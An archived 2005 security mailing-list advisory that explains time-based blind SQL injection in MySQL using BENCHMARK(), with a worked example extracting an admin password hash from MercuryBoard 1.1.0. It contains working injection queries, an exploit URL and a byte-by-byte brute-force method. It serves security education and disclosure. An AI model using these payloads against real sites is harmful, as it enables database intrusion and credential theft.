The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[REVS] Blind Injection in MySQL Databases (via BENCHMARK)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 17 Feb 2005 18:55:14 +0200
Subject: [REVS] Blind Injection in MySQL Databases (via BENCHMARK)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050217173123.D3BBA5816@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Blind Injection in MySQL Databases (via BENCHMARK)
------------------------------------------------------------------------


SUMMARY

MySQL is not an easy database for Blind SQL Injection: it displays no 
errors when an UNION occurs between two columns of different type and 
there isn't a way to make a query displaying errors from parameters passed 
inside the query itself. Many times happens that auditing the code of a 
PHP/MySQL application, we find an injection vulnerability that is not 
exploitable, because we cannot see the output or we see always an error 
cause the value retrieved is passed to multiple queries with a different 
numbers of columns before the script ends.

In those cases where we cannot see the result of the SELECT...UNION 
statement it would appear that the vulnerability cannot be exploit. Or is 
it?

DETAILS

Injection Toolbox:
A common trick is always to UNION SELECT [null,null,.. up to the right 
number of columns in the previous SELECT]/* to see when we get no errors, 
so we can move forward. Even if we know exactly the name of each COLUMN in 
each TABLE, is nearly impossible to retrieve the content if no output is 
displayed.

In the following examples I'll show you step by step how to retrieve the 
password hash from a vulnerability discovered in MercuryBoard by 
codebug.org that seemed not to be  exploitable because you cannot see any 
good output.

I assume that the name of the tables is already known. (This is a common 
issue,during the auditing of Open Source scripts, or when debugging 
options are active by default).

The Vulnerability:
MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when the 
post.php include was switched to 'reply' and the parameter 't' was passed. 
The issue generated an error when an user is logged in an tries to perform 
the following operation:
http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'

The issue seemed not to be exploitable. In reality it was.

Being Ready for Blindness:
First of all we should have a fully installed a vulnerable version of 
Mercuryboard with a low privileges user for the DB.

|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)

mysql> SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active         |
| mb_attach         |
| mb_forums         |
| mb_groups         |
| mb_help           |
| mb_logs           |
| mb_membertitles   |
| mb_pmsystem       |
| mb_posts          |
| mb_replacements   |
| mb_settings       |
| mb_skins          |
| mb_subscriptions  |
| mb_templates      |
| mb_topics         |
| mb_users          |
| mb_votes          |
+-------------------+
17 rows in set (0.00 sec)

|---| As you can see Current User is a common User |---| (Never run as 
root!)

mysql> SELECT USER();
+---------------+
| USER()        |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)

mysql> SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 
'user'
mysql>

|---| The following query shows the first byte of Admin's Hash |---|

mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group 
= 1;
+------------------------------+
| SUBSTRING(user_password,1,1) |
+------------------------------+
| 5                            |
+------------------------------+
1 row in set (0.00 sec)


|---| The following is the first byte of Admin's Hash as ASCII number 
|---|

mysql> SELECT ASCII('5');
+------------+
| ASCII('5') |
+------------+
|         53 |
+------------+
1 row in set (0.00 sec)

Feeling the Difference:
The goal is to find a way to be advised in someway that the constant we 
are looking for is the right one. How is it possible to know if the first 
byte of Admin Hash is or not equal to '5'?

Well, in NGSS whitepaper the author simply made the query to be delayed if 
the content matched the one injected. In msSQL this was pursued with a 
conditional IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.

In the following query Zeelock succeeded in creating a delayed of 5 
seconds by using an IF() function followed by a BENCHMARK() function. 
Current User can execute it with low privileges (Usually you can execute 
the BENCHMARK() function if you can SELECT). That's why is so powerful.

|---| Passing a wrong number |---| (CHAR(52) is equal to '4')

mysql> Select active_id FROM mb_active UNION SELECT 
IF(SUBSTRING(user_password, 1, 1) = CHAR(52), BENCHMARK(5000000, 
ENCODE('Slow Down','by 5 seconds')), null) FROM mb_users WHERE user_group 
= 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (0.00 sec)

In the previous example the BENCHMARK() function is not executed (Elapsed 
Time 0.00 sec).

|---| Passing the matching content |---| (BENCHMARK() is executed)

mysql> Select active_id FROM mb_active UNION SELECT 
IF(SUBSTRING(user_password,1 ,1) = CHAR(53), BENCHMARK(5000000, 
ENCODE('Slow Down','by 5 seconds')), null) FROM mb_users WHERE user_group 
= 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (5.36 sec)

In the previous example the BENCHMARK() function delayed the query by 5.36 
sec.

Preparing the GET Request:
To inject SQL commands successfully we have to clean the request from any 
single quote.

|---| Cleaning from quotes |---|

mysql> Select active_id FROM mb_active UNION SELECT 
IF(SUBSTRING(user_password,1, 1) = CHAR(53), BENCHMARK(1000000, 
MD5(CHAR(1))), null) FROM mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (4.65 sec)

mysql>

Exploiting the Vulnerability:
First we have to log in a Registered User with the rights to reply in the 
current thread.

http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1 UNION SELECT IF 
(SUBSTRING(user_password,1,1) = CHAR(53), BENCHMARK(1000000, 
MD5(CHAR(1))), null), null, null, null, null FROM mb_users WHERE 
user_group = 1/*

And we'll see a slow down of a couple of seconds cause the first byte is 
CHAR(53), 5.

Brute forcing:
For rebuilding content letter by letter is needed only a simple Perl 
script that performs GET requests and wait for the answer byte after byte 
{..SUBSTRING(strn,[1,2,3..n],1)..} and if the response is delayed by 7 to 
10 seconds, we have the right stuff. Brute forcing could take a while with 
MD5 hashes, because they are alphanumeric, 32 bytes long. Fortunately not 
CASE SENSITIVE.

0 to 9 --> ASCII 48 to 57
a to z --> ASCII 97 to 122

In the worst case it takes about 36 requests of about 3 sec per request 
plus the delay for the right byte. A full hash in the worst case could be 
retrieved in ((3*35)+10)*32= 3622 seconds (1 hour).


ADDITIONAL INFORMATION

The information has been provided by  <mailto:zee@psybnc.it.> Zeelock.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру